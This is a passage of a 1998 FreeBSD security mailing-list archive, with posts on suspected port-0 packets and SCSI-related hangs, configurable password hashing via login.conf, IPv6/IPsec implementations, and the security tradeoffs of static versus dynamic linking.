(8.8.8/8.8.8) with SMTP id UAA16471 for ; Tue, 21 Apr 1998 20:37:35 GMT (envelope-from koala.lanck.ru!uwl@lanck.ru) Received: from lanck.ru (lanck.ru [194.226.196.66]) by gw.sut.ru (8.6.12/8.6.12) with ESMTP id AAA24538 for ; Wed, 22 Apr 1998 00:36:45 +0400 Received: by lanck.ru with UUCP id AAA15530; (8.8.5/vak/1.9) Wed, 22 Apr 1998 00:20:49 +0400 (MSD) Received: (from uwl@localhost) by koala.lanck.ru (8.8.6/8.6.12) id UAA09664; Tue, 21 Apr 1998 20:13:20 +0400 Message-ID: <19980421201320.15084@koala.lanck.ru> Date: Tue, 21 Apr 1998 20:13:20 +0400 From: Vladimir Uralsky To: freebsd-security@FreeBSD.ORG Subject: Re: New DoS attack? References: <199804210533.JAA02644@lms.ru> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.79e In-Reply-To: <199804210533.JAA02644@lms.ru>; from Alexander B. Povolotsky on Tue, Apr 21, 1998 at 09:33:37AM +0400 X-Operating-System: Linux 2.0.29 i486 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk On Tue, Apr 21, 1998 at 09:33:37AM +0400, Alexander B. Povolotsky wrote: > During last months, I've experienced several STRANGE hangs. TCP stack worked > OK, while nothing else did. I thought of poor hardware, instable snap, > everything else. We have same problems, system hangs every day. Searching a reasons we find: in all cases of crash we had one ftp user logged in. A user upload something to incoming directory. We change version of ftpd from default to latest wu-ftpd. Situation repeated again. We continuously run a systat -vm and when system hangs can see no hdd transfers, but periodical pci activity (we have only one pci device -- AHA2940). It's mostly like a SCSI bus hanging I think. In the nearest future we'll try to change a AHA to BusLogic. We and some other people have same problem all of these PCs equipped AHA2940/AIC78[78]0 or AIC7770 host adapters. But these kind of devices so popular :-). I see packets to port 0 many times, but it is not hang our system. -- Vova. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Tue Apr 21 16:47:04 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id QAA22400 for freebsd-security-outgoing; Tue, 21 Apr 1998 16:47:04 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from xmission.xmission.com (softweyr@xmission.xmission.com [198.60.22.2]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id XAA22395 for ; Tue, 21 Apr 1998 23:46:59 GMT (envelope-from softweyr@xmission.xmission.com) Received: (from softweyr@localhost) by xmission.xmission.com (8.8.8/8.7.5) id RAA24929; Tue, 21 Apr 1998 17:46:38 -0600 (MDT) From: Wes Peters - Softweyr LLC Message-Id: <199804212346.RAA24929@xmission.xmission.com> Subject: Re: md5, des, et al. To: jaitken@dimension.net Date: Tue, 21 Apr 1998 17:46:37 -0600 (MDT) Cc: freebsd-security@FreeBSD.ORG In-Reply-To: <199804211812.OAA27421@gizmo.dimension.net> from "Jeff Aitken" at Apr 21, 98 02:12:49 pm X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk > A recent poster (sorry, I deleted the message, so I don't remember > who) said something about using dlopen() and friends (we'll assume > for argument's sake that that will work flawlessly). > > However, doesn't any solution involving shared {libraries,object code} > merely solve half of the problem? Suppose you have md5.so, des.so, > blowfish.so, and foobar.so. Obviously, you can now decrypt > passwords encrypted with DES, MD5, etc. However, when a user > changes his or her password, which scheme is used to generate the > new password? Simple. If a user wants to change her password, use the same encryption method currently used on her password. The difficulty starts when you're creating a new password. By default, use the encryption method suggested in /etc/login.conf (or /etc/passwd.conf if you wish). It would also be necessary to extend passwd with an option to specify the encryption to use, for creating new accounts and for changing the encryption format (if allowed by /etc/{passwd,login}.conf). -- "Where am I, and what am I doing in this handbasket?" Wes Peters Softweyr LLC http://www.xmission.com/~softweyr softweyr@xmission.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Tue Apr 21 16:52:56 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id QAA23219 for freebsd-security-outgoing; Tue, 21 Apr 1998 16:52:56 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from bagira.fsz.bme.hu (root@bagira.fsz.bme.hu [152.66.76.5]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id XAA23177 for ; Tue, 21 Apr 1998 23:52:30 GMT (envelope-from mohacsi@bagira.fsz.bme.hu) Received: from localhost (mohacsi@localhost) by bagira.fsz.bme.hu (8.9.0.Beta5/8.9.0.Beta3+BME-IIT) with SMTP id AAA09735; Wed, 22 Apr 1998 00:54:11 +0200 (MET DST) Date: Wed, 22 Apr 1998 00:54:10 +0200 (MET DST) From: Janos Mohacsi To: Jeff Aitken cc: freebsd-security@FreeBSD.ORG Subject: Re: md5, des, et al. In-Reply-To: <199804211812.OAA27421@gizmo.dimension.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk On Tue, 21 Apr 1998, Jeff Aitken wrote: > Date: Tue, 21 Apr 1998 14:12:49 -0400 (EDT) > From: Jeff Aitken > To: freebsd-security@FreeBSD.ORG > Subject: md5, des, et al. > > A recent poster (sorry, I deleted the message, so I don't remember > who) said something about using dlopen() and friends (we'll assume > for argument's sake that that will work flawlessly). > > However, doesn't any solution involving shared {libraries,object code} > merely solve half of the problem? Suppose you have md5.so, des.so, > blowfish.so, and foobar.so. Obviously, you can now decrypt > passwords encrypted with DES, MD5, etc. However, when a user > changes his or her password, which scheme is used to generate the > new password? > > Situation 1: Administrator A set up FreeBSD to use MD5 because it's > he default. He later wants to be able to share passwords with > other UNIX boxes, so he needs to convert all passwords to DES. > Thus, he needs to read MD5 but write DES. (ala Ultrix's UPGRADE > security mode). This scenario equates to "read any, write one". > > Situation 2: Administrator B sets up a FreeBSD NIS master. over > time, his userbase expands to include users in multiple countries. > Some of those countries forbid the use of "strong" encryption. > Administrator B would like to use MD5 for USA users, but some simple > obfuscation for users in one of those other countries. Thus, the > reading/writing mechanism must be able to write different formats > to the same file. This scenario equates to "read any, write any". > > Granted, the second situation might be a little more farfetched, but > it's certainly not outside the realm of possibility. Seems to me > that passwd.conf is about the only way to make this work. Or am I > missing something obvious? I agree with some point of above. Both scenario should be supported if it is possible. But I don't think that should be invented a new password config file as in OpenBSD. We already have a general config file: /etc/login.conf. This better than a new one, because the infrastructure for handling it already exist. Two new field should be added in /etc/login.conf : localcipher, ypcipher. (this can allow read any, write any semantics) localcipher - for storing to a local password stuffs. ypcipher - for storing to YP (for compatibility). (kerberos password handled completely different.) And should be integrated the new FreeSEC??? (by the way where it is available?) for the blowfish encryption too. Is anybody to add it into the current lib tree? Sincerely, Janos Mohacsi P.S.: I have posted a similar message a day before but it did not get thru. If yes, sorry for it. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Tue Apr 21 16:52:57 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id QAA23228 for freebsd-security-outgoing; Tue, 21 Apr 1998 16:52:57 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from bagira.fsz.bme.hu (root@bagira.fsz.bme.hu [152.66.76.5]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id XAA23153 for ; Tue, 21 Apr 1998 23:52:18 GMT (envelope-from mohacsi@bagira.fsz.bme.hu) Received: from localhost (mohacsi@localhost) by bagira.fsz.bme.hu (8.9.0.Beta5/8.9.0.Beta3+BME-IIT) with SMTP id AAA09738 for ; Wed, 22 Apr 1998 00:57:54 +0200 (MET DST) Date: Wed, 22 Apr 1998 00:57:53 +0200 (MET DST) From: Janos Mohacsi To: freebsd-security@FreeBSD.ORG Subject: IPv6 + IPSec Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk Hi! The following message from me I did not see to get throught. Sorry if it appears two times. On Fri, 17 Apr 1998, Garrett Wollman wrote: > Date: Fri, 17 Apr 1998 12:15:57 -0400 (EDT) > From: Garrett Wollman > To: "Jordan K. Hubbard" > Cc: Johan Allard , > Robert Watson , > Dima Ruban , Matthew Hunt , > stable@FreeBSD.ORG, freebsd-security@FreeBSD.ORG > Subject: Re: kernel permissions > > < said: > > >> On the whish list I would like to add support for IPsec. It must be > > The WIDE project folks have already implemented both IPsec and > > IPv6 - we just need to incorporate their stuff without hopefully > > pissing off any of the 1,473 different other IPv6 implementors out > > there .: -) > > If we could just get the WIDE people and the INRIA people (and the NRL > people) to all coalesce around a single solution, we'd have a clear > winner. According to our test the most stable IPv6 implementation is the INRIA IPv6 (The result of our test will due to published in TERENA Networking Conference '98). Althought it does not contain either DES or other cryptographic software all the hooks in the kernel are available to fill out. (The necessary code is available from http://www.ipv6.ticl.co.uk/devpv6.htm ). Unfortunately IPsec is not available for IPv4 in the INRIA implementation. Compiling the WIDE implementation is quite hard because of misnamed structure fields, etc. And the kernels dumps core sometimes... The most important argument against the WIDE IPv6 (for me) that the applications are not so tightly integrated to the system as in the INRIA. The solutions would be the import INRIA IPv6 code and integrate WIDE or ticl IPSec (with addition photurisd from OpenBSD and ISA KMP/Oakley). Sincerely, Janos Mohacsi To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Tue Apr 21 18:48:10 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id SAA13981 for freebsd-security-outgoing; Tue, 21 Apr 1998 18:48:10 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from whistle.com (s205m131.whistle.com [207.76.205.131]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id BAA13953 for ; Wed, 22 Apr 1998 01:48:02 GMT (envelope-from archie@whistle.com) Received: (from smap@localhost) by whistle.com (8.7.5/8.6.12) id SAA08395; Tue, 21 Apr 1998 18:47:31 -0700 (PDT) Received: from bubba.whistle.com(207.76.205.7) by whistle.com via smap (V1.3) id sma008391; Tue Apr 21 18:47:25 1998 Received: (from archie@localhost) by bubba.whistle.com (8.8.7/8.6.12) id SAA04232; Tue, 21 Apr 1998 18:47:25 -0700 (PDT) From: Archie Cobbs Message-Id: <199804220147.SAA04232@bubba.whistle.com> Subject: Re: New DoS attack? In-Reply-To: <199804211132.MAA00823@indigo.ie> from Niall Smart at "Apr 21, 98 12:32:02 pm" To: rotel@indigo.ie Date: Tue, 21 Apr 1998 18:47:25 -0700 (PDT) Cc: mt@folco.lms.ru, freebsd-security@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL31 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk Niall Smart writes: > Could you (anyone?) dump all packets coming from/going to port 0 using tcpdump > and send me any logs? I'm not sure if this means you'll have to turn off the > ipfw rule, I don't know at what stage the packets get filtered. FYI- tcpdump and ipfw work completely independently of each other, so even if a packet is dropped you will see it first via tcpdump. -Archie ___________________________________________________________________________ Archie Cobbs * Whistle Communications, Inc. * http://www.whistle.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Tue Apr 21 18:56:07 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id SAA15573 for freebsd-security-outgoing; Tue, 21 Apr 1998 18:56:07 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from coconut.itojun.org (root@coconut.itojun.org [210.160.95.97]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id BAA15514 for ; Wed, 22 Apr 1998 01:55:46 GMT (envelope-from itojun@itojun.org) Received: from localhost (itojun@localhost.itojun.org [127.0.0.1]) by coconut.itojun.org (8.8.8+3.0Wbeta12/3.6W) with ESMTP id KAA02486; Wed, 22 Apr 1998 10:53:02 +0900 (JST) To: Janos Mohacsi cc: freebsd-security@FreeBSD.ORG In-reply-to: mohacsi's message of Wed, 22 Apr 1998 00:57:53 +0200. X-Template-Reply-To: itojun@itojun.org X-Template-Return-Receipt-To: itojun@itojun.org X-PGP-Fingerprint: F8 24 B4 2C 8C 98 57 FD 90 5F B4 60 79 54 16 E2 Subject: Re: IPv6 + IPSec From: Jun-ichiro itojun Itoh Date: Wed, 22 Apr 1998 10:53:02 +0900 Message-ID: <2482.893209982@coconut.itojun.org> Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk >According to our test the most stable IPv6 implementation is the INRIA >IPv6 (The result of our test will due to published in TERENA Networking >Conference '98). Althought it does not contain either DES or other >cryptographic software all the hooks in the kernel are available to fill >out. (The necessary code is available from >http://www.ipv6.ticl.co.uk/devpv6.htm ). Unfortunately IPsec is not >available for IPv4 in the INRIA implementation. was WIDE stack participated in the test? I believe there's nobody from WIDE attended. >Compiling the WIDE implementation is quite hard because of misnamed >structure fields, etc. And the kernels dumps core sometimes... The most >important argument against the WIDE IPv6 (for me) that the applications >are not so tightly integrated to the system as in the INRIA. let me know what version of the kernel you used, and troubles you have. I have no trouble here. I suspect you've used old snapshot or something. itojun To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Tue Apr 21 21:20:03 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id VAA07637 for freebsd-security-outgoing; Tue, 21 Apr 1998 21:20:03 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from asteroid.svib.ru (root@asteroid.svib.ru [195.151.166.145]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id EAA07554 for ; Wed, 22 Apr 1998 04:19:55 GMT (envelope-from tarkhil@asteroid.svib.ru) Received: from minas-tirith.pol.ru (shuttle.svib.ru [195.151.166.144]) by asteroid.svib.ru (8.8.8/8.8.8) with ESMTP id IAA15466; Wed, 22 Apr 1998 08:19:47 +0400 (MSD) (envelope-from tarkhil@asteroid.svib.ru) Received: from minas-tirith.pol.ru (minas-tirith.pol.ru [127.0.0.1]) by minas-tirith.pol.ru (8.8.8/8.8.7) with ESMTP id IAA07040; Wed, 22 Apr 1998 08:19:51 +0400 (MSD) (envelope-from tarkhil@minas-tirith.pol.ru) Message-Id: <199804220419.IAA07040@minas-tirith.pol.ru> X-Mailer: exmh version 2.0.1 12/23/97 To: rotel@indigo.ie cc: "Alexander B. Povolotsky" , freebsd-security@FreeBSD.ORG Subject: Re: New DoS attack? In-reply-to: Your message "Tue, 21 Apr 1998 12:32:02 -0000." <199804211132.MAA00823@indigo.ie> Reply-To: tarkhil@asteroid.svib.ru Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 22 Apr 1998 08:19:49 +0400 From: Alex Povolotsky Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk <199804211132.MAA00823@indigo.ie>Niall Smart writes: >On Apr 21, 9:33am, "Alexander B. Povolotsky" wrote: >} Subject: New DoS attack? >> Strangely, I've posted this message TWICE, but still don't see it... > >This is the first time I've seen it. Is the other address subscribed >to security@freebsd.org or freebsd-security@freebsd.org? I was sending it from address, SUBSCRIBED to freebsd-security, and it seemed that hub.freebsd.org received it. Now, I've resend it from my reserve login, which is not subscribed to any mailing list. I'm getting paranoid about ir... >Could you (anyone?) dump all packets coming from/going to port 0 using tcpdump >and send me any logs? I'm not sure if this means you'll have to turn off the >ipfw rule, I don't know at what stage the packets get filtered. I'm not receiving such packets anymore... Alex. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Tue Apr 21 22:05:17 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id WAA13809 for freebsd-security-outgoing; Tue, 21 Apr 1998 22:05:17 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from spinner.netplex.com.au (spinner.netplex.com.au [202.12.86.3]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id FAA13782 for ; Wed, 22 Apr 1998 05:04:55 GMT (envelope-from peter@netplex.com.au) Received: from spinner.netplex.com.au (localhost [127.0.0.1]) by spinner.netplex.com.au (8.8.8/8.8.8/Spinner) with ESMTP id NAA01624 for ; Wed, 22 Apr 1998 13:04:36 +0800 (WST) (envelope-from peter@spinner.netplex.com.au) Message-Id: <199804220504.NAA01624@spinner.netplex.com.au> X-Mailer: exmh version 2.0.2 2/24/98 To: freebsd-security@FreeBSD.ORG Subject: Re: Using MD5 insted of DES for passwd ecnryption In-reply-to: Your message of "Tue, 21 Apr 1998 14:14:37 -0400." <199804211814.OAA23669@brain.zeus.leitch.com> Date: Wed, 22 Apr 1998 13:04:35 +0800 From: Peter Wemm Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk Greg A. Woods wrote: > [ On Tue, April 21, 1998 at 09:35:41 (-0700), Mike Smith wrote: ] > > Subject: Re: Using MD5 insted of DES for passwd ecnryption > > > > > I think it should always be possible to statically link the whole system > > > if one so desires. That's the one sure way to test if shared libraries > > > are causing any weirdness. > > > > How are you supposed to load arbitrary (possibly third-party) > > authentication modules if you have to have the source at build time? > > That's stupid. > > Maybe not the source, but at minimum the objects. Any method of > run-time control over password encryption schemes should permit all > available schemes to be statically linked simultaneously into the > relevant binaries such that a run-time "switch" can select amongst those > that were available at link time. Naturally adding more schemes > requires re-linking -- but that's neither surprising, nor upsetting. And what happens when you've got some static 3rd party binary that you can't relink, and you use a different encryption system locally? (eg: the chained secureware (as used in SCO etc) des hash method). Distributing statically linked binaries has to be strongly discouraged since it prevents things like libc bug fixes (eg: res_send() being adjusted to use poll() or large a fd_set with select() and so on). Anyway, static linking should be supported still, but what I suggested earlier is that we will have to start doing variaions on the library builds... ie: different version of libcrypt for static and dynamic mode. The static libcrypt would have the encryption/hash methods compiled in, while the dynamic version may instead be a runtime switch routine using dlopen(). Somebody (Mark?) raised the possibility of using dlopen() from within a static binary. This is "difficult" because: 1: I believe ld.so needs to be initialized early early before the main() gets called (ie in crt0.o), so your 'static' binary still uses ld.so. 2: there are no runtime symbol tables.. the md5.so routine could not make libc calls as there would not be a dynamic libc. It'd have to have things like strcmp() etc all linked in to the .so from libc_pic.a This isn't a huge problem, but adds complications. You can't safely have md5.so dynamically linked to libc.so.x.x for strcmp since that brings along malloc etc and two mallocs in the same program space (if both are active) is pretty deadly and asking for trouble. 3: ld already has a -Bforcedynamic mode to generate the necessary glue for running ld.so from binaries that don't have any shared library dependencies. All that is needed is that you need to tell gcc to link with crt0.o (the one that opens ld.so) and use -Bforcedynamic and explicitly link with static libraries and you've got a 100% static linked binary that calls ld.so at startup (which doesn nothing yet) and you can later call dlopen(). Obviously crt0.o will need to look elsewhere in case /usr/libexec/ld.so isn't available. Some gcc LINK_SPEC mods might be enough. FWIW, I'm a little amazed at the paranoia about dynamic linking. I have *never* *ever* "lost" or damaged ld.so except through stupidity (made a mistake with a source change and caused an undefined symbol). I have never lost or damaged libc.so except through stupidity (again, generally through normal development accidents with undefined symbols). I have also rendered my system "cactus" by loosing /dev/console, the entire /dev directory, damaging /sbin/init and /sbin/sh, misakes in /etc/rc and so on. ld.so and libc.so have been the *least* of my problems. I can understand the concern of people coming from systems with less robust VM systems, but we've had a system where the executable activation and mmap() etc have been pretty much unified and have been quite been solid since 2.0.5 days. I can't ever recall a situation where ld.so was unable to be successfully mmap'ed while executables themselves were loadable. > -- > Greg A. Woods > > +1 416 443-1734 VE3TCP > Planix, Inc. ; Secrets of the Weird Cheers, -Peter -- Peter Wemm Netplex Consulting To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Tue Apr 21 22:54:40 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id WAA20476 for freebsd-security-outgoing; Tue, 21 Apr 1998 22:54:40 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from gatekeeper.alcatel.com.au (gatekeeper.alcatel.com.au [203.17.66.1]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id FAA20374 for ; Wed, 22 Apr 1998 05:54:15 GMT (envelope-from Peter.Jeremy@alcatel.com.au) Received: from mfg1.cim.alcatel.com.au ([139.188.23.1]) by gatekeeper.alcatel.com.au (PMDF V5.1-7 #U2695) with ESMTP id <01IW6BSIEMIO000HAV@gatekeeper.alcatel.com.au> for freebsd-security@FreeBSD.ORG; Wed, 22 Apr 1998 15:53:33 +1000 Received: from cbd.alcatel.com.au by cim.alcatel.com.au (PMDF V5.1-10 #23324) with ESMTP id <01IW6BSFEFG0C2JSEU@cim.alcatel.com.au> for freebsd-security@FreeBSD.ORG; Wed, 22 Apr 1998 15:53:30 +1000 Received: from gsms01.alcatel.com.au by cbd.alcatel.com.au (PMDF V5.1-7 #U2695) with ESMTP id <01IW6BSD1SC0AZTTJD@cbd.alcatel.com.au> for freebsd-security@FreeBSD.ORG; Wed, 22 Apr 1998 15:53:26 +1100 Received: (from jeremyp@localhost) by gsms01.alcatel.com.au (8.8.8/8.7.3) id PAA03826 for freebsd-security@FreeBSD.ORG; Wed, 22 Apr 1998 15:53:24 +1000 (EST) Date: Wed, 22 Apr 1998 15:53:24 +1000 (EST) From: Peter Jeremy Subject: Re: Using MD5 insted of DES for passwd ecnryption To: freebsd-security@FreeBSD.ORG Message-id: <199804220553.PAA03826@gsms01.alcatel.com.au> Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk On Wed, 22 Apr 1998 13:04:35 +0800, Peter Wemm wrote: >Distributing statically linked binaries has to be strongly discouraged Agreed in general. >Anyway, static linking should be supported still, Also agreed. >FWIW, I'm a little amazed at the paranoia about dynamic linking. I have >*never* *ever* "lost" or damaged ld.so except through stupidity Given that this is security-related, there are some _security_ reasons for avoiding dynamic linking - dynamic linking substantially increases the number of inodes involved in performing a specific function. For a statically-linked binary, hacking the functionality means replacing (or patching) the actual binary. With dynamic linking, the shared libraries associated with the binary also become targets. Thus, given a dynamically linked binary, you can subvert it by subverting the dynamic link editor (ld.so) or any of the associated shared libraries. This can be done either by patching the existing system shared library, or by placing a new shared library at a point in the shared library search path before the system one. As an example, consider /bin/sh: For a statically linked executable, subverting /bin/sh means obtaining write access to /bin/sh, or any of its parent directories (/bin and /). On my SS20 running Solaris 2.5, without any LD_LIBRARY_PATH environment variable, /bin/sh is dynamically linked and running /bin/sh additionally references the following files: /usr/lib/libw.so.1, /usr/lib/libdl.so.1, /usr/lib/libintl.so.1, /usr/lib/libc.so.1, /usr/lib/ld.so and /usr/platform/SUNW,SPARCstation-20/lib/libc_psr.so.1[+]. Each of these files (and parent directories) must therefore be protected. A statically linked /bin/sh relies on the security of 3 inodes and 2 directories. A dynamically linked /bin/sh relies on 14 inodes, 7 directories and 1 symbolic link[#] - and this gets worse if you have LD_LIBRARY_PATH defined. The more objects that need protecting, the more likely one is overlooked, allowing the system to subverted. [+] This file (potentially) contains platform-dependent shared libraries. This is something that I have (elsewhere) suggested as a useful performance enhancing feature for FreeBSD. This file does not actually exist in this case, but is searched for. [#] /usr/platform/SUNW,SPARCstation-20 is a symbolic link, making the directories /, /bin, /usr, /usr/lib, /usr/platform, /usr/platform/sun4m and /usr/platform/sun4m/lib. Peter -- Peter Jeremy (VK2PJ) peter.jeremy@alcatel.com.au Alcatel Australia Limited 41 Mandible St Phone: +61 2 9690 5019 ALEXANDRIA NSW 2015 Fax: +61 2 9690 5247 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Tue Apr 21 23:16:53 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id XAA25248 for freebsd-security-outgoing; Tue, 21 Apr 1998 23:16:53 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from ns.mt.sri.com (sri-gw.MT.net [206.127.105.141]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id GAA25171 for ; Wed, 22 Apr 1998 06:16:45 GMT (envelope-from nate@mt.sri.com) Received: from mt.sri.com (rocky.mt.sri.com [206.127.76.100]) by ns.mt.sri.com (8.8.8/8.8.8) with SMTP id AAA12442; Wed, 22 Apr 1998 00:16:44 -0600 (MDT) (envelope-from nate@rocky.mt.sri.com) Received: by mt.sri.com (SMI-8.6/SMI-SVR4) id AAA02036; Wed, 22 Apr 1998 00:16:38 -0600 Date: Wed, 22 Apr 1998 00:16:38 -0600 Message-Id: <199804220616.AAA02036@mt.sri.com> From: Nate Williams MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit To: Peter Wemm Cc: freebsd-security@FreeBSD.ORG Subject: Static vs. dynamic linking (was Re: Using MD5 insted of DES ...) In-Reply-To: <199804220504.NAA01624@spinner.netplex.com.au> References: <199804211814.OAA23669@brain.zeus.leitch.com> <199804220504.NAA01624@spinner.netplex.com.au> X-Mailer: VM 6.29 under 19.15 XEmacs Lucid Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk Peter Wemm writes: > FWIW, I'm a little amazed at the paranoia about dynamic linking. I have > *never* *ever* "lost" or damaged ld.so except through stupidity (made a > mistake with a source change and caused an undefined symbol). I have never > lost or damaged libc.so except through stupidity (again, generally through > normal development accidents with undefined symbols). I have thwacked the snot out of my system by replacing libc.so to the point that nothing except the static stuff in /bin|sbin worked. It doesn't happen too often, but when it does the only recourse was to use the static stuff to recover, which I was able to do. With dynamic programs, instead of having a single point of failure, you have *many*. ld.so, libc.so, potentially /var/run/ld.hints, etc... There are too many variables plus the performance advantages of having a static /bin/sh to even argue about the *minute* advantage of having a completely dynamic system, vs. the hybrid we have now. Nate To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Tue Apr 21 23:36:13 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id XAA00809 for freebsd-security-outgoing; Tue, 21 Apr 1998 23:36:13 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from critter.freebsd.dk (critter.freebsd.dk [195.8.129.14]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id GAA00684 for ; Wed, 22 Apr 1998 06:35:39 GMT (envelope-from phk@critter.freebsd.dk) Received: from critter.freebsd.dk (localhost [127.0.0.1]) by critter.freebsd.dk (8.8.7/8.8.5) with ESMTP id IAA02236; Wed, 22 Apr 1998 08:35:07 +0200 (CEST) To: Nate Williams cc: Peter Wemm , freebsd-security@FreeBSD.ORG Subject: Re: Static vs. dynamic linking (was Re: Using MD5 insted of DES ...) In-reply-to: Your message of "Wed, 22 Apr 1998 00:16:38 MDT." <199804220616.AAA02036@mt.sri.com> Date: Wed, 22 Apr 1998 08:35:07 +0200 Message-ID: <2234.893226907@critter.freebsd.dk> From: Poul-Henning Kamp Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk In message <199804220616.AAA02036@mt.sri.com>, Nate Williams writes: >Peter Wemm writes: >> FWIW, I'm a little amazed at the paranoia about dynamic linking. I have >> *never* *ever* "lost" or damaged ld.so except through stupidity (made a >> mistake with a source change and caused an undefined symbol). I have never >> lost or damaged libc.so except through stupidity (again, generally through >> normal development accidents with undefined symbols). > >I have thwacked the snot out of my system by replacing libc.so to the >point that nothing except the static stuff in /bin|sbin worked. It >doesn't happen too often, but when it does the only recourse was to use >the static stuff to recover, which I was able to do. > >With dynamic programs, instead of having a single point of failure, you >have *many*. ld.so, libc.so, potentially /var/run/ld.hints, etc... And of course, you DO keep a boot.flp/fixit.flp combination close at hand, right ? >There are too many variables plus the performance advantages of having a >static /bin/sh to even argue about the *minute* advantage of having a >completely dynamic system, vs. the hybrid we have now. I disagree, I think just the crypt problem is sufficient argument to go dynamic. -- Poul-Henning Kamp FreeBSD coreteam member phk@FreeBSD.ORG "Real hackers run -current on their laptop." "Drink MONO-tonic, it goes down but it will NEVER come back up!" To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Wed Apr 22 02:20:51 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id CAA03629 for freebsd-security-outgoing; Wed, 22 Apr 1998 02:20:51 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from godzilla.zeta.org.au (godzilla.zeta.org.au [203.2.228.19]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id JAA03621 for ; Wed, 22 Apr 1998 09:20:46 GMT (envelope-from bde@godzilla.zeta.org.au) Received: (from bde@localhost) by godzilla.zeta.org.au (8.8.7/8.8.7) id TAA17524; Wed, 22 Apr 1998 19:18:38 +1000 Date: Wed, 22 Apr 1998 19:18:38 +1000 From: Bruce Evans Message-Id: <199804220918.TAA17524@godzilla.zeta.org.au> To: mike@smith.net.au, peter@netplex.com.au Subject: Re: Using MD5 insted of DES for passwd ecnryption Cc: freebsd-security@FreeBSD.ORG, roberto@keltia.freenix.fr Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk >Bruce Evans (bless his Retro soul :-) has some recent experience with this. >He was running with SHLIBDIR=/lib for some time with a fully dynamic >system. He's since switched to the complete opposite, *everything* static, >including /usr/bin and the works. He recently got a few percent (5%? 8%?) >of a speedup in the 'make world' stakes by making the /usr/obj/tmp/usr/bin >stuff static and skipping a the build stages of some of the larger shared >libs until later. (the speedup was due to less overall 